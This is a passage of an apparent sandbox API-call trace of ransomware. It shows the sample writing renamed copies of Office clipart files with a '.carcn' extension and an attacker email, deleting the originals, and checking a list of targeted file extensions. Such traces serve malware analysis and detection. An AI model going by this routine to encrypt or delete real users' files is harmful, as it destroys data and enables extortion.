lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x7c50, lpOverlapped=0x0) returned 1 [0307.120] ReadFile (in: hFile=0x334, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0307.120] WriteFile (in: hFile=0x398, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0307.120] SetEndOfFile (hFile=0x398) returned 1 [0307.120] CloseHandle (hObject=0x398) returned 1 [0307.120] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.120] SetEndOfFile (hFile=0x334) returned 1 [0307.121] CloseHandle (hObject=0x334) returned 1 [0307.121] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0307.121] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf")) returned 1 [0307.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0307.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0307.122] lstrlenW (lpString=".doc") returned 4 [0307.122] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0307.122] lstrlenW (lpString=".docx") returned 5 [0307.122] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0307.122] lstrlenW (lpString=".pdf") returned 4 [0307.122] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0307.122] lstrlenW (lpString=".xls") returned 4 [0307.123] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0307.123] lstrlenW (lpString=".xlsx") returned 5 [0307.123] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0307.123] lstrlenW (lpString=".ppt") returned 4 [0307.123] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0307.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0307.123] lstrlenW (lpString=".zip") returned 4 [0307.123] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0307.123] lstrlenW (lpString=".rar") returned 4 [0307.123] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0307.123] lstrlenW (lpString=".bz2") returned 4 [0307.123] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0307.123] lstrlenW (lpString=".7z") returned 3 [0307.123] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0307.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0307.123] lstrlenW (lpString=".dbf") returned 4 [0307.123] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0307.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0307.123] lstrlenW (lpString=".1cd") returned 4 [0307.123] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0307.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0307.123] lstrlenW (lpString=".jpg") returned 4 [0307.123] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0307.124] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.124] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0307.125] GetLastError () returned 0x0 [0307.125] ReadFile (in: hFile=0x334, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x43b4, lpOverlapped=0x0) returned 1 [0307.154] WriteFile (in: hFile=0x398, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x43c0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x43c0, lpOverlapped=0x0) returned 1 [0307.155] ReadFile (in: hFile=0x334, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0307.155] WriteFile (in: hFile=0x398, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0307.155] SetEndOfFile (hFile=0x398) returned 1 [0307.156] CloseHandle (hObject=0x398) returned 1 [0307.156] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.156] SetEndOfFile (hFile=0x334) returned 1 [0307.157] CloseHandle (hObject=0x334) returned 1 [0307.157] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0307.157] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf")) returned 1 [0307.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0307.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0307.158] lstrlenW (lpString=".doc") returned 4 [0307.158] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0307.158] lstrlenW (lpString=".docx") returned 5 [0307.158] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0307.158] lstrlenW (lpString=".pdf") returned 4 [0307.158] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0307.158] lstrlenW (lpString=".xls") returned 4 [0307.158] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0307.158] lstrlenW (lpString=".xlsx") returned 5 [0307.158] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0307.159] lstrlenW (lpString=".ppt") returned 4 [0307.159] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0307.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0307.159] lstrlenW (lpString=".zip") returned 4 [0307.159] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0307.159] lstrlenW (lpString=".rar") returned 4 [0307.159] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0307.159] lstrlenW (lpString=".bz2") returned 4 [0307.159] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0307.159] lstrlenW (lpString=".7z") returned 3 [0307.159] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0307.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0307.159] lstrlenW (lpString=".dbf") returned 4 [0307.159] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0307.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0307.159] lstrlenW (lpString=".1cd") returned 4 [0307.159] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0307.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0307.159] lstrlenW (lpString=".jpg") returned 4 [0307.159] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0307.160] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.160] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0307.160] GetLastError () returned 0x0 [0307.160] ReadFile (in: hFile=0x334, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x287c, lpOverlapped=0x0) returned 1 [0307.184] WriteFile (in: hFile=0x398, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x2880, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x2880, lpOverlapped=0x0) returned 1 [0307.185] ReadFile (in: hFile=0x334, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0307.185] WriteFile (in: hFile=0x398, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0307.185] SetEndOfFile (hFile=0x398) returned 1 [0307.185] CloseHandle (hObject=0x398) returned 1 [0307.186] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.186] SetEndOfFile (hFile=0x334) returned 1 [0307.187] CloseHandle (hObject=0x334) returned 1 [0307.187] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0307.187] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf")) returned 1 [0307.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0307.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0307.188] lstrlenW (lpString=".doc") returned 4 [0307.188] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0307.188] lstrlenW (lpString=".docx") returned 5 [0307.188] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0307.188] lstrlenW (lpString=".pdf") returned 4 [0307.188] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0307.188] lstrlenW (lpString=".xls") returned 4 [0307.188] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0307.188] lstrlenW (lpString=".xlsx") returned 5 [0307.188] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0307.188] lstrlenW (lpString=".ppt") returned 4 [0307.188] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0307.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0307.188] lstrlenW (lpString=".zip") returned 4 [0307.188] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0307.188] lstrlenW (lpString=".rar") returned 4 [0307.188] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0307.188] lstrlenW (lpString=".bz2") returned 4 [0307.188] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0307.188] lstrlenW (lpString=".7z") returned 3 [0307.188] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0307.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0307.188] lstrlenW (lpString=".dbf") returned 4 [0307.188] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0307.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0307.189] lstrlenW (lpString=".1cd") returned 4 [0307.189] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0307.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0307.189] lstrlenW (lpString=".jpg") returned 4 [0307.189] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0307.190] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.190] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0307.190] GetLastError () returned 0x0 [0307.191] ReadFile (in: hFile=0x334, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x2030, lpOverlapped=0x0) returned 1 [0307.193] WriteFile (in: hFile=0x398, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x2040, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x2040, lpOverlapped=0x0) returned 1 [0307.195] ReadFile (in: hFile=0x334, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0307.195] WriteFile (in: hFile=0x398, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0307.196] SetEndOfFile (hFile=0x398) returned 1 [0307.196] CloseHandle (hObject=0x398) returned 1 [0307.196] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.196] SetEndOfFile (hFile=0x334) returned 1 [0307.197] CloseHandle (hObject=0x334) returned 1 [0307.197] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0307.197] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf")) returned 1 [0307.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0307.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0307.198] lstrlenW (lpString=".doc") returned 4 [0307.198] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0307.198] lstrlenW (lpString=".docx") returned 5 [0307.198] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0307.198] lstrlenW (lpString=".pdf") returned 4 [0307.198] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0307.198] lstrlenW (lpString=".xls") returned 4 [0307.198] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0307.198] lstrlenW (lpString=".xlsx") returned 5 [0307.198] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0307.198] lstrlenW (lpString=".ppt") returned 4 [0307.198] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0307.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0307.198] lstrlenW (lpString=".zip") returned 4 [0307.198] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0307.198] lstrlenW (lpString=".rar") returned 4 [0307.199] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0307.199] lstrlenW (lpString=".bz2") returned 4 [0307.199] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0307.199] lstrlenW (lpString=".7z") returned 3 [0307.199] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0307.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0307.199] lstrlenW (lpString=".dbf") returned 4 [0307.199] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0307.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0307.199] lstrlenW (lpString=".1cd") returned 4 [0307.199] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0307.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0307.199] lstrlenW (lpString=".jpg") returned 4 [0307.199] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0307.199] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.199] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0307.200] GetLastError () returned 0x0 [0307.200] ReadFile (in: hFile=0x334, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x2dc8, lpOverlapped=0x0) returned 1 [0307.212] WriteFile (in: hFile=0x398, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x2dd0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x2dd0, lpOverlapped=0x0) returned 1 [0307.213] ReadFile (in: hFile=0x334, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0307.213] WriteFile (in: hFile=0x398, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0307.213] SetEndOfFile (hFile=0x398) returned 1 [0307.213] CloseHandle (hObject=0x398) returned 1 [0307.213] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.213] SetEndOfFile (hFile=0x334) returned 1 [0307.214] CloseHandle (hObject=0x334) returned 1 [0307.214] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0307.214] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf")) returned 1 [0307.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0307.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0307.215] lstrlenW (lpString=".doc") returned 4 [0307.215] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0307.215] lstrlenW (lpString=".docx") returned 5 [0307.215] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0307.215] lstrlenW (lpString=".pdf") returned 4 [0307.216] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0307.216] lstrlenW (lpString=".xls") returned 4 [0307.216] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0307.216] lstrlenW (lpString=".xlsx") returned 5 [0307.216] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0307.216] lstrlenW (lpString=".ppt") returned 4 [0307.216] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0307.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0307.216] lstrlenW (lpString=".zip") returned 4 [0307.216] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0307.216] lstrlenW (lpString=".rar") returned 4 [0307.216] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0307.216] lstrlenW (lpString=".bz2") returned 4 [0307.216] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0307.216] lstrlenW (lpString=".7z") returned 3 [0307.216] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0307.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0307.216] lstrlenW (lpString=".dbf") returned 4 [0307.216] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0307.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0307.216] lstrlenW (lpString=".1cd") returned 4 [0307.216] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0307.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0307.216] lstrlenW (lpString=".jpg") returned 4 [0307.216] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0307.217] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.217] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0307.218] GetLastError () returned 0x0 [0307.218] ReadFile (in: hFile=0x334, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x274c, lpOverlapped=0x0) returned 1 [0307.221] WriteFile (in: hFile=0x398, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x2750, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x2750, lpOverlapped=0x0) returned 1 [0307.222] ReadFile (in: hFile=0x334, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0307.222] WriteFile (in: hFile=0x398, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0307.222] SetEndOfFile (hFile=0x398) returned 1 [0307.222] CloseHandle (hObject=0x398) returned 1 [0307.222] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.222] SetEndOfFile (hFile=0x334) returned 1 [0307.223] CloseHandle (hObject=0x334) returned 1 [0307.223] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0307.224] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf")) returned 1 [0307.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0307.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0307.225] lstrlenW (lpString=".doc") returned 4 [0307.225] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0307.225] lstrlenW (lpString=".docx") returned 5 [0307.225] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0307.225] lstrlenW (lpString=".pdf") returned 4 [0307.225] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0307.225] lstrlenW (lpString=".xls") returned 4 [0307.225] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0307.225] lstrlenW 